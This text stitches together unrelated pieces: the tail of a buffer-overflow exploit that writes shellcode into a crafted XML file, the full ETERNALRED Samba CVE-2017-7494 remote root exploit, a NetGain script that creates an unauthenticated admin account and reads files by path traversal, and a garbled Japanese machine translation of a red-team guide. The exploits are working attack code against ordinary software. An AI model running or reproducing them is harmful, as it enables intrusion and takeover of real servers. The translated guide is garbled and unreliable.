"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

crash = overflow+jmp_esp+nop+esp+jmp+nop2+nSEH+SEH+"\x90" * 10+shellcode

evil = '<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + crash + '\n</classify>'
exploit = open('Ev1l.xml', 'w')
exploit.write(evil)
exploit.close()

print "Ev1l.xml raedy!"
            
#!/usr/bin/env python
# Title : ETERNALRED 
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494


import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *


class SharedDevice2(SharedDevice):
    def __init__(self, type, name, comments, path, password):
        super().__init__(type, name, comments)
        self.path = path
        self.password = password

class SMBConnectionEx(SMBConnection):
    def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
        super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)


    def hook_listShares(self):
        self._listShares = self.listSharesEx

    def hook_retrieveFile(self):
        self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix

    # This is maily the original listShares but request a higher level of info
    def listSharesEx(self, callback, errback, timeout = 30):
        if not self.has_authenticated:
            raise NotReadyError('SMB connection not authenticated')

        expiry_time = time.time() + timeout
        path = 'IPC$'
        messages_history = [ ]

        def connectSrvSvc(tid):
            m = SMB2Message(SMB2CreateRequest('srvsvc',
                                              file_attributes = 0,
                                              access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
                                              share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                                              oplock = SMB2_OPLOCK_LEVEL_NONE,
                                              impersonation = SEC_IMPERSONATE,
                                              create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
                                              create_disp = FILE_OPEN))

            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
            messages_history.append(m)

        def connectSrvSvcCB(create_message, **kwargs):
            messages_history.append(create_message)
            if create_message.status == 0:
                call_id = self._getNextRPCCallID()
                # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
                # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
                data_bytes = \
                    binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
                    struct.pack('<I', call_id) + \
                    binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
                m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
                m.tid = create_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
                messages_history.append(m)
            else:
                errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))

        def rpcBindCB(trans_message, **kwargs):
            messages_history.append(trans_message)
            if trans_message.status == 0:
                m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
                m.tid = trans_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
                messages_history.append(m)
            else:
                closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')

        def rpcReadCB(read_message, **kwargs):
            messages_history.append(read_message)
            if read_message.status == 0:
                call_id = self._getNextRPCCallID()

                padding = b''
                remote_name = '\\\\' + self.remote_name
                server_len = len(remote_name) + 1
                server_bytes_len = server_len * 2
                if server_len % 2 != 0:
                    padding = b'\0\0'
                    server_bytes_len += 2

                # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
                # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
                data_bytes = \
                    binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
                    struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
                    binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
                    struct.pack('<III', server_len, 0, server_len) + \
                    (remote_name + '\0').encode('UTF-16LE') + padding + \
                    binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
                m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
                m.tid = read_message.tid
                self._sendSMBMessage(m)
                self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
                messages_history.append(m)
            else:
                closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')

        def listShareResultsCB(result_message, **kwargs):
            messages_history.append(result_message)
            if result_message.status == 0:
                # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
                data_bytes = result_message.payload.out_data

                if data_bytes[3] & 0x02 == 0:
                    sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
                else:
                    decodeResults(result_message.tid, kwargs['fid'], data_bytes)
            elif result_message.status == 0x0103:   # STATUS_PENDING
                self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
            else:
                closeFid(result_message.tid, kwargs['fid'])
                errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

        def decodeResults(tid, fid, data_bytes):
            shares_count = struct.unpack('<I', data_bytes[36:40])[0]
            results = [ ]     # A list of SharedDevice2 instances
            offset = 36 + 52  # You need to study the byte stream to understand the meaning of these constants
            for i in range(0, shares_count):
                results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
                offset += 12

            for i in range(0, shares_count):
                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)

                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)

                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)

                max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
                offset += 12
                results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

                if length % 2 != 0:
                    offset += (length * 2 + 2)
                else:
                    offset += (length * 2)


            closeFid(tid, fid)
            callback(results)

        def sendReadRequest(tid, fid, data_bytes):
            read_count = min(4280, self.max_read_size)
            m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
                                                           fid = fid, data_bytes = data_bytes)

        def readCB(read_message, **kwargs):
            messages_history.append(read_message)
            if read_message.status == 0:
                data_len = read_message.payload.data_length
                data_bytes = read_message.payload.data

                if data_bytes[3] & 0x02 == 0:
                    sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
                else:
                    decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
            else:
                closeFid(read_message.tid, kwargs['fid'])
                errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

        def closeFid(tid, fid, results = None, error = None):
            m = SMB2Message(SMB2CloseRequest(fid))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
            messages_history.append(m)

        def closeCB(close_message, **kwargs):
            if kwargs['results'] is not None:
                callback(kwargs['results'])
            elif kwargs['error'] is not None:
                errback(OperationFailure(kwargs['error'], messages_history))

        if path not in self.connected_trees:
            def connectCB(connect_message, **kwargs):
                messages_history.append(connect_message)
                if connect_message.status == 0:
                    self.connected_trees[path] = connect_message.tid
                    connectSrvSvc(connect_message.tid)
                else:
                    errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))

            m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
            messages_history.append(m)
        else:
            connectSrvSvc(self.connected_trees[path])


    # Don't convert to Window style path
    def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
        if not self.has_authenticated:
            raise NotReadyError('SMB connection not authenticated')

        messages_history = [ ]


        def sendOpen(tid):
            m = SMBMessage(ComOpenAndxRequest(filename = path,
                                              access_mode = 0x0040,  # Sharing mode: Deny nothing to others
                                              open_mode = 0x0001,    # Failed if file does not exist
                                              search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
                                              timeout = timeout * 1000))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
            messages_history.append(m)

        def openCB(open_message, **kwargs):
            messages_history.append(open_message)
            if not open_message.status.hasError:
                if max_length == 0:
                    closeFid(open_message.tid, open_message.payload.fid)
                    callback(( file_obj, open_message.payload.file_attributes, 0 ))
                else:
                    sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
            else:
                errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))

        def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
            read_count = self.max_raw_size - 2
            m = SMBMessage(ComReadAndxRequest(fid = fid,
                                              offset = offset,
                                              max_return_bytes_count = read_count,
                                              min_return_bytes_count = min(0xFFFF, read_count)))
            m.tid = tid
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
                                                           read_len = read_len, remaining_len = remaining_len)

        def readCB(read_message, **kwargs):
            # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
            if not read_message.status.hasError:
                read_len = kwargs['read_len']
                remaining_len = kwargs['remaining_len']
                data_len = read_message.payload.data_length
                if max_length > 0:
                    if data_len > remaining_len:
                        file_obj.write(read_message.payload.data[:remaining_len])
                        read_len += remaining_len
                        remaining_len = 0
                    else:
                        file_obj.write(read_message.payload.data)
                        remaining_len -= data_len
                        read_len += data_len
                else:
                    file_obj.write(read_message.payload.data)
                    read_len += data_len

                if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
                    closeFid(read_message.tid, kwargs['fid'])
                    callback(( file_obj, kwargs['file_attributes'], read_len ))  # Note that this is a tuple of 3-elements
                else:
                    sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
            else:
                messages_history.append(read_message)
                closeFid(read_message.tid, kwargs['fid'])
                errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))

        def closeFid(tid, fid):
            m = SMBMessage(ComCloseRequest(fid))
            m.tid = tid
            self._sendSMBMessage(m)
            messages_history.append(m)

        if service_name not in self.connected_trees:
            def connectCB(connect_message, **kwargs):
                messages_history.append(connect_message)
                if not connect_message.status.hasError:
                    self.connected_trees[service_name] = connect_message.tid
                    sendOpen(connect_message.tid)
                else:
                    errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))

            m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
            self._sendSMBMessage(m)
            self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
            messages_history.append(m)
        else:
            sendOpen(self.connected_trees[service_name])

def get_connection(user, password, server, port, force_smb1=False):
    if force_smb1:
        smb_structs.SUPPORT_SMB2 = False

    conn = SMBConnectionEx(user, password, "", "server")
    assert conn.connect(server, port)
    return conn

def get_share_info(conn):
    conn.hook_listShares()
    return conn.listShares()

def find_writeable_share(conn, shares):
    print("[+] Searching for writable share")
    filename = "red"
    test_file = tempfile.TemporaryFile()
    for share in shares:
        try:
            # If it's not writeable this will throw
            conn.storeFile(share.name, filename, test_file)
            conn.deleteFiles(share.name, filename)
            print("[+] Found writeable share: " + share.name)
            return share
        except:
            pass

    return None

def write_payload(conn, share, payload, payload_name):
    with open(payload, "rb") as fin:
        conn.storeFile(share.name, payload_name, fin)

    return True

def convert_share_path(share):
    path = share.path[2:]
    path = path.replace("\\", "/")
    return path

def load_payload(user, password, server, port, fullpath):
    conn = get_connection(user, password, server, port, force_smb1 = True)
    conn.hook_retrieveFile()

    print("[+] Attempting to load payload")
    temp_file = tempfile.TemporaryFile()

    try:
        conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
    except:
        pass

    return

def drop_payload(user, password, server, port, payload):
    payload_name = "charizard"

    conn = get_connection(user, password, server, port)
    shares = get_share_info(conn)
    share = find_writeable_share(conn, shares)

    if share is None:
        print("[!] No writeable shares on " + server + " for user: " + user)
        sys.exit(-1)

    if not write_payload(conn, share, payload, payload_name):
        print("[!] Failed to write payload: " + str(payload) + " to server")
        sys.exit(-1)

    conn.close()

    fullpath = convert_share_path(share)
    return os.path.join(fullpath, payload_name)


def main():
    parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
    description= """Eternal Red Samba Exploit -- CVE-2017-7494
        Causes vulnerable Samba server to load a shared library in root context
        Credentials are not required if the server has a guest account
        For remote exploit you must have write permissions to at least one share
        Eternal Red will scan the Samba server for shares it can write to
        It will also determine the fullpath of the remote share

        For local exploit provide the full path to your shared library to load

        Your shared library should look something like this

        extern bool change_to_root_user(void);
        int samba_init_module(void)
        {
            change_to_root_user();
            /* Do what thou wilt */
        }
    """)
    parser.add_argument("payload", help="path to shared library to load", type=str)
    parser.add_argument("server", help="Server to target", type=str)
    parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
    parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
    parser.add_argument("--password", help="Password for user default is empty", type=str)
    parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
    args = parser.parse_args()

    if not os.path.isfile(args.payload):
        print("[!] Unable to open: " + args.payload)
        sys.exit(-1)

    port = 445
    user = "nobody"
    password = ""
    fullpath = ""

    if args.port:
        port = args.port
    if args.username:
        user = args.username
    if args.password:
        password = args.password

    if args.local:
        fullpath = args.payload
    else:
        fullpath = drop_payload(user, password, args.server, port, args.payload)

    load_payload(user, password, args.server, port, fullpath)

if __name__ == "__main__":
    main()
            
'''
# Exploit Title: Add User Account with Admin Privilege without Login & Local File Inclusion
# Date: 2017-05-21
# Exploit Author: f3ci
# Vendor Homepage: http://www.netgain-systems.com
# Software Link: http://www.netgain-systems.com/free-edition-download/
# Version: <= v7.2.647 build 941
# Tested on: Windows 7

Add User Account with Admin Privilege without Login
----------------------------------------------
We can create user and give admin privilege to user which we have made
without login.
Because this app does not check the session on this request


Local File Inclusion
----------------------------------------------
Normal Request:

POST /u/jsp/log/download_do.jsp HTTP/1.1
Host: 192.168.0.21:8081
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.21:8081/u/index.jsp
Cookie: JSESSIONID=8A172EB8DDBD08D1E6D25A1CE8CC74AC
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

filename=iossd.log

We can download another file with change value on filename parameter and
also we can send this request without login.

Example:

POST /u/jsp/log/download_do.jsp HTTP/1.1
Host: 192.168.0.21:8081
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.21:8081/u/index.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

filename=../../tomcat/conf/tomcat-users.xml
'''
#!/usr/local/bin/python
# Exploit Title: Add User Account with Admin Privilege without Login
# Date: 2017-05-21
# Exploit Author: f3ci
# Vendor Homepage: http://www.netgain-systems.com
# Software Link: http://www.netgain-systems.com/free-edition-download/
# Version: <= v7.2.647 build 941
# Tested on: Windows 7

import requests
import sys

try:
 def create():
	ip = str(sys.argv[1])
	port = str(sys.argv[2])
	user = str(sys.argv[3])
	passwd = str(sys.argv[4])

	print "\033[1;32m[+]\033[1;m Try to Create user"
	url="http://"+ip+":"+port+"/u/jsp/security/user_save_do.jsp"
	data= {
    	'new': "true", 
    	'id': "", 
    	'name': user, 
    	'dname': "foobar", 
    	'password': passwd, 
    	'password2': passwd, 
    	'description': "", 
    	'emails': "foo@bar.com", 
    	'mobileNumber': "000000", 
    	'loginAttempts': "5",
    	}
	response = requests.post(url, data=data)
	status = response.status_code
	if status == 200:
		print "\033[1;32m[+]\033[1;m Success!!"
		role()
	else:
		print "\033[91m[-]\033[91;m Create User Failed"


 def role():
	ip = str(sys.argv[1])
        port = str(sys.argv[2])
	user = str(sys.argv[3])
        passwd = str(sys.argv[4])

	print "\033[1;32m[+]\033[1;m Get admin role"
	url="http://"+ip+":"+port+"/u/jsp/security/role_save_do.jsp"
	data= {
    	'name': "admin", 
    	'description': "Administrator", 
    	'users': [user,"admin"],
    	}
	response = requests.post(url, data=data)
	status = response.status_code
	if status == 200:
		print "\033[1;32m[+]\033[1;m Success!!"
		print "\033[1;32m[+]\033[1;m Login with user:" +user+ " password:" + passwd
	else:
		print "\033[91m[-]\033[91;m Get admin role Failed"

 create();

except:
	print "\033[91m[!]\033[91;m Usage: %s <IP> <port> <username> <password>" % str(sys.argv[0])
	print "\033[91m[!]\033[91;m Ex: %s 127.0.0.1 8081 foobar passw0rd" % str(sys.argv[0])
            

第1章ブルーチームとは何ですか

ブルーチームは一般に、ネットワークの実際の攻撃と防衛演習で攻撃者を指します。

ブルーチームは通常、ターゲットユニットの実践者とターゲットシステムが同時に位置するネットワーク内のソフトウェアおよびハードウェアデバイスをターゲットにするために、マルチアングル、オールラウンド、対立的なハイブリッドシミュレーション攻撃方法を使用します。技術的な手段を通じて、システムパワープロモーション、ビジネス管理、データ収集などの浸透目標を達成し、システム、テクノロジー、人員、管理、インフラストラクチャのネットワークセキュリティリスクまたは弱いリンクを発見できます。

ブルーチームの担当者は、一般的な意味でコンピューターハッカーではありません。ハッカーはしばしばシステムを突破して利益を得ることを目指しているからです。ブルーチームは、システム内の弱いリンクを発見し、システムセキュリティを改善することを目指しています。さらに、普通のハッカーの場合、特定の攻撃方法が効果的に目標を達成できることがわかっている限り、通常、他の攻撃方法と方法を試す必要はありません。しかし、ブルーチームの目標は、システム内のすべてのセキュリティ問題を可能な限り見つけることです。そのため、攻撃を完了するために既知の「すべての」方法を使い果たすことがよくあります。言い換えれば、ブルーチームの職員が必要とするのは、1つまたは2つの素晴らしいハッキングテクニックだけでなく、包括的な攻撃的および防御能力です。

ブルーチームの仕事は、業界の有名な浸透テストとも異なります。通常、浸透テストは、標準化された技術プロセスに従ってターゲットシステムのセキュリティテストです。ブルーチームの攻撃は一般に攻撃範囲と攻撃期間を制限し、特定の攻撃方法に制限はありません。浸透テストプロセスでは、一般に脆弱性の存在を検証するだけで、ブルーチーム攻撃には実際のシステム許可またはシステムデータが必要です。さらに、浸透テストでは一般に、ソーシャルワーカーの使用が禁止されていることが必要です(攻撃は誘導、欺ceなどによって完了します)。

:は通常、実際の戦闘攻撃および防御演習中にブルーチームの攻撃方法を厳密に制限しないが、すべての技術の使用と目標の達成も関連する国の法律と規制を厳密に順守しなければならないという別のポイントを説明する必要があります。

エクササイズの実践では、ブルーチームには通常、戦闘チームとして3人、チームリーダーとして1人がいます。チームリーダーは通常、ブルーチームで最も強力な包括的な能力を持つ人物であり、強力な組織的認識、適応性、豊かな実践的な経験を必要とします。 2人のチームメンバーは、ボーダーブレークスルー、水平ムーブメント(1つの制御されたデバイスを使用して他の隣接するデバイスを攻撃する)、インテリジェンスコレクション、または武器開発など、1つまたは複数の側面の専門知識を持つ独自の強みを持つ必要があることがよくあります。

ブルーチームの作業の能力要件は、多くの場合、包括的かつ包括的です。 Blueチームのメンバーは、さまざまなハッキングツールと分析ツールを使用するのに熟練しているだけでなく、ターゲットシステムとそのセキュリティ構成に精通し、特別な問題に対処するための特定のコード開発機能を持っている必要があります。

第2章ブルーチームの進化の傾向

「悪魔は、道路よりも片足高く、道路よりも片足高くなっています」!防御能力を向上させながら、攻撃能力は時代にも対応しています。現在、ブルーチームの仕事は非常に体系的で、専門的で、楽器になり、主に次のように収益化されています。

1)体系的

脆弱性の準備、ツールの準備、インテリジェンスコレクション、イントラネットの浸透など、誰もが明確な分業と組織化されたチーム戦闘能力を持っています。一連のタスクを行った人はほとんどいません。

2)専門化

ブルーチームのスタッフは、さまざまな組織のフルタイムの実践的なエクササイズチームからのものであり、労働と責任の明確な分裂、共同協力の専門的倫理、および職業訓練が日常生活で行われています。

3)ツール

ツールベースのプログラムは改善され続けています。一般的に使用される浸透ツールの使用に加えて、オープンソースコードに基づくカスタマイズされたツールの数が増加し、自動攻撃が大規模に適用されています。

実際の戦闘方法から判断すると、現在の青いチームは、ソーシャルエンジニアリング、強い対立、ラウンドアバウト攻撃の特徴も提示します。

1)ソーシャルエンジニアリング

「人々」の弱点を使用してソーシャルエンジニアリング攻撃を実行することは、黒人産業のギャングや高度な脅威組織にとって一般的な方法であり、現在では実際の戦闘攻撃的および防御的な演習に広く紹介されています。

釣りや水たまりなどの従来のソーシャルワーカーの攻撃方法に加えて、今日のブルーチームは、ビジネス情報をより効率的に取得するために、オンラインカスタマーサービスやプライベートメッセージの友人などのさまざまなインタラクティブなプラットフォームを通じてソーシャルワーカーの攻撃を行うことがよくあります。ソーシャルワーカーの方法のばらつきは、しばしば防衛を防御することができなくなります。

2)強い対立

0Dayの脆弱性、ndayの脆弱性、および殺害のないテクノロジーを使用して、防衛党との高強度の技術的対立に従事することも、ブルーチームが過去1〜2年で実際の戦闘攻撃および防御演習で示した明らかな特徴です。特に、ブルーチームメンバーのほとんどはセキュリティ機関から来て、専門的に訓練されているため、セキュリティソフトウェアの保護メカニズムとセキュリティシステムの運用原則を民間のハッカーよりもよく理解しており、使用する対立技術はしばしばよりターゲットにされています。

3)丸め攻撃

緊密な保護と効果的な監視を備えたターゲットシステムの場合、正面攻撃を機能させるのが難しいことがよくあります。これにより、ブルーチームは「カーブセイブザカントリー」攻撃方法を採用して最前線を延長するように強制されます。ターゲットシステムの同性ユニットと下位ユニットから開始し、サプライチェーンとビジネスパートナーから開始し、比較的弱い保護を備えた関連機関のブレークスルーポイントを見つけ、ラウンドアバウト攻撃を通じてターゲットシステムを突破します。

第3章:ブルーチームの4つの軸——攻撃の4つの段階

ブルーチームの攻撃は、野生で忘れられない財産ではなく、科学的で合理的な戦闘プロセスでした。一般的に言えば、ブルーチームの作業は、ステーション前の準備、インテリジェンスコレクション、拠点の確立、水平運動の4つの段階に分けることができます。また、これらの4つのステージをブルーチームの作業の「4つの軸」と呼びます。

1。フェーズ1:収集の準備

実際の攻撃的で防御的なエクササイズが始まる前に、ブルーチームの職員は主に次の側面から準備します。

1)脆弱性マイニング

脆弱性は常に最初の攻撃力でした。早期の脆弱性マイニングは、ブレークスルーを開くために非常に重要です。実際の戦闘では、脆弱性のマイニング作業は一般に、インターネット境界アプリケーション、ネットワーク機器、オフィスアプリケーション、運用およびメンテナンスシステム、モバイルオフィス、集中管理と管理に焦点を当てています。さらに、脆弱性を見つけるだけでは十分ではなく、優れた脆弱性の搾取方法も非常に重要です。非輸送環境における脆弱性の安定した詳細な搾取を達成するために、これは脆弱性探査機にとって大きな課題です。

2)ツールリザーブ

ツールの目的は、作業効率を向上させることです。優れたツールは、多くの場合、半分の労力で結果の2倍を達成できます。実際の戦闘では、ブルーチームは通常、情報収集、フィッシング、リモートコントロール、ウェブシェル管理、トンネル、スキャナー、脆弱性の利用など、さまざまなツールを準備する必要があります。

3)戦術と戦略

チームの戦闘は協力に関するものであるため、攻撃チームメンバーの労働役割の分割は特に重要です。小さな戦いは個人に依存しますが、大きな戦いはメカニズム、プロセス、チームワークに依存する必要があります。優れた戦術と戦略は、主要な戦いに不可欠です。

4)競争を練習する

毎日のタスクでは、ブルーチームのターゲットトレーニングを実施するために、いくつかの代表的なタスクを選択する必要があります。さまざまな安全競争に参加することは、ブルーチームメンバーの技術的能力を改善するのに非常に役立ちます。

第二に、第2フェーズ:インテリジェンスコレクション

ブルーチームの専門家がターゲットタスクを受け取ると、浸透テストのようなデータを収集した後、さまざまな一般的な脆弱性を直接試みることはありませんが、最初にインテリジェンス偵察と情報収集を行います。収集されたコンテンツには、ターゲットシステムの組織構造、ITアセット、機密情報の漏れ、サプライヤー情報、その他の側面が含まれます。

組織構造には、単位および部門部門、人事情報、作業機能、下位ユニットなどが含まれます。資産には、ドメイン名、IPアドレス、Cセグメント、オープンポート、オペレーションサービス、Webミドルウェア、Webアプリケーション、モバイルアプリケーション、ネットワークアーキテクチャなどが含まれます。機密情報の漏れには、コード漏れ、ドキュメント情報の漏れ、電子メール情報の漏れ、歴史的脆弱性漏れ情報などが含まれます。サプライヤー情報には、関連する契約、システム、ソフトウェア、ハードウェア、コード、サービス、人員、その他の関連情報が含まれます。

関連する人事情報とターゲットエンタープライズの組織構造を習得することにより、harpoon攻撃を実装するために重要な数字をすばやく見つけたり、イントラネットの水平および垂直貫通パスを決定したりできます。また、資産情報を収集することにより、脆弱性の発見と利用に関するデータサポートを提供できます。企業とサプライヤーの協力の関連情報を習得すると、ターゲットを絞ったサプライチェーン攻撃に資料を提供できます。ソーシャルワーカーをフィッシュするか、脆弱性攻撃を直接活用するか、サプライチェーンから開始するかは、一般に、セキュリティ保護の弱いリンクがどこにあるか、ブルーチームが攻撃パスを選択する方法に依存します。

第三に、第3段階:ベースの確立

弱いリンクを見つけた後、ブルーチームの専門家は、外部ネットワークシステムの制御権限を取得するために抜け穴またはソーシャルワーカーを使用しようとします。このプロセスでは、Blueチームの専門家は、WAF、IPS、Antivirusソフトウェアなどの保護具またはソフトウェアをバイパスし、最小トラフィックと最小アクションを使用して脆弱性の搾取を実現しようとします。

引き裂き穴を通して、イントラネットに接続されたチャネルを見つけ、さらに詳細な浸透が行われます。外側から内側へのこのプロセスは、一般に縦方向の浸透と呼ばれます。内部および外部接続に接続されているDMZ領域(非武装ゾーン)が見つからない場合、ブルーチームの専門家は、イントラネットに接続するポイントを見つけるまで穴を引き裂き続けます。

ブルーチームの専門家が正しい穴を見つけると、外部ネットワークからイントラネットに入るためのベースとしてこのポイントを使用できます。この時点で、この時点でFRP、Ewsocks、Regeorgなどのツールを通じて確立され、外部ネットワークから内部ネットワークへのスプリングボードを形成し、イントラネット浸透を実装するための強固な基盤として使用します。

許可が踏み台を確立するのに十分でない場合、ブルーチームの専門家は通常、システム、プログラム、またはサービスの脆弱性を使用して、より高い権限を取得するために権限の運用を増やします。拠点が安定していないPCである場合、PCが再起動した後も拠点がオンラインであることを確認するために、永続的な操作を実行します。

第4段階:水平ムーブメント

